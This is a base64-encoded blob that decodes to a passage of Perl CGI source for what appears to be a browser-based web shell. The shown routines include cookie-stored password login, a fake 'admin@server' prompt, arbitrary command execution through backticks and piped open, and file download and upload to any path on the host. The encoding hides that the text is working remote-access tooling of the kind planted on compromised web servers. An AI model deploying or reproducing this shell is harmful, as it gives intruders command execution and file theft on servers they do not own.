S0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkmUHJpbnRMb2dvdXRTY3JlZW47CgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0CiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QKIyBtYXRjaCBvciBpZiBubyBwYXNzd29yZCBpcyBlbnRlcmVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIKIyB0byBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9naW4gCnsKCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkCgl7CgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoJCX0KCQkmUHJpbnRMb2dpbkZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImMiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBkb3dubG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVEb3dubG9hZEZvcm0KewoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CglwcmludCA8PEVORDsKPGNvZGU+Cjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iZG93bmxvYWQiPgokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjwvZm9ybT4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludEZpbGVVcGxvYWRGb3JtCnsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJEN1cnJlbnREaXI+ICIgOiAiW2FkbWluXEAkU2VydmVyTmFtZSAkQ3VycmVudERpcl1cJCAiOwoJcHJpbnQgPDxFTkQ7Cjxjb2RlPgo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KJFByb21wdCB1cGxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPgpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPgpPdmVyd3JpdGUgaWYgaXQgRXhpc3RzPGJyPjxicj4KVXBsb2FkOiZuYnNwOyZuYnNwOyZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJ1cGxvYWQiPgo8L2Zvcm0+CjwvY29kZT4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bwojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMKIyBuZXZlciBjYWxsZWQgd2hlbiB0aGUgc2NyaXB0IGlzIHJ1bm5pbmcgb24gTlQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIENvbW1hbmRUaW1lb3V0CnsKCWlmKCEkV2luTlQpCgl7CgkJYWxhcm0oMCk7CgkJcHJpbnQgPDxFTkQ7CjwveG1wPgo8Y29kZT4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLgo8YnI+S2lsbGVkIGl0IQo8Y29kZT4KRU5ECgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJlByaW50UGFnZUZvb3RlcjsKCQlleGl0OwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gZXhlY3V0ZSBjb21tYW5kcy4gSXQgZGlzcGxheXMgdGhlIG91dHB1dCBvZiB0aGUKIyBjb21tYW5kIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgYW5vdGhlciBjb21tYW5kLiBUaGUgY2hhbmdlIGRpcmVjdG9yeQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4KIyBhbiBpbnRlcm5hbCB2YXJpYWJsZSBhbmQgaXMgdXNlZCBlYWNoIHRpbWUgYSBjb21tYW5kIGhhcyB0byBiZSBleGVjdXRlZC4gVGhlCiMgb3V0cHV0IG9mIHRoZSBjaGFuZ2UgZGlyZWN0b3J5IGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZCB0byB0aGUgdXNlcnMKIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRXhlY3V0ZUNvbW1hbmQKewoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkKCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7CgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOwoJCWNob3AoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkT2xkRGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJE9sZERpcl1cJCAiOwoJCXByaW50ICI8Y29kZT4kUHJvbXB0ICRSdW5Db21tYW5kPC9jb2RlPiI7Cgl9CgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7CgkJcHJpbnQgIjxjb2RlPiRQcm9tcHQgJFJ1bkNvbW1hbmQ8L2NvZGU+PHhtcD4iOwoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4kUnVuQ29tbWFuZC4kUmVkaXJlY3RvcjsKCQlpZighJFdpbk5UKQoJCXsKCQkJJFNJR3snQUxSTSd9ID0gXCZDb21tYW5kVGltZW91dDsKCQkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJCX0KCQlpZigkU2hvd0R5bmFtaWNPdXRwdXQpICMgc2hvdyBvdXRwdXQgYXMgaXQgaXMgZ2VuZXJhdGVkCgkJewoJCQkkfD0xOwoJCQkkQ29tbWFuZCAuPSAiIHwiOwoJCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQoJCQl7CgkJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJCXByaW50ICIkX1xuIjsKCQkJfQoJCQkkfD0wOwoJCX0KCQllbHNlICMgc2hvdyBvdXRwdXQgYWZ0ZXIgY29tbWFuZCBjb21wbGV0ZXMKCQl7CgkJCXByaW50IGAkQ29tbWFuZGA7CgkJfQoJCWlmKCEkV2luTlQpCgkJewoJCQlhbGFybSgwKTsKCQl9CgkJcHJpbnQgIjwveG1wPiI7Cgl9CgkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCSZQcmludFBhZ2VGb290ZXI7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcgojIHRvIGRvd25sb2FkIHRoZSBzcGVjaWZpZWQgZmlsZS4gVGhlIHBhZ2UgYWxzbyBjb250YWlucyBhIGF1dG8tcmVmcmVzaAojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlCnsKCWxvY2FsKCRGaWxlVXJsKSA9IEBfOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJcHJpbnQgPDxFTkQ7Cjxjb2RlPgpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksCjxhIGhyZWY9IiREb3dubG9hZExpbmsiPkNsaWNrIEhlcmU8L2E+Lgo8L2NvZGU+CkVORAoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7Cgl9CgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0Cgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXByaW50ICI8Y29kZT5GYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJfQoJZWxzZSAjIGZhaWxlZCB0byBvcGVuIGZpbGUKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJmIik7CgkJcHJpbnQgIjxjb2RlPkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhPC9jb2RlPiI7CgkJJlByaW50RmlsZURvd25sb2FkRm9ybTsKCQkmUHJpbnRQYWdlRm9vdGVyOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCSZQcmludEZpbGVVcGxvYWRGb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJcmV0dXJuOwoJfQoJJlByaW50UGFnZUhlYWRlcigiYyIpOwoKCSMgc3RhcnQgdGhlIHVwbG9hZGluZyBwcm9jZXNzCglwcmludCAiPGNvZGU+VXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJcHJpbnQgIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQlwcmludCAiVHJhbnNmZXJlZCAkVGFyZ2V0RmlsZVNpemUgQnl0ZXMuPGJyPiI7CgkJCXByaW50ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCXByaW50ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJcHJpbnQgIjwvY29kZT4iOwoJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkmUHJpbnRQYWdlRm9vdGVyOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byBkb3dubG9hZCBhIGZpbGUuIElmIHRoZQojIGZpbGVuYW1lIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsKIyB0aHJvdWdoICB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgRG93bmxvYWRGaWxl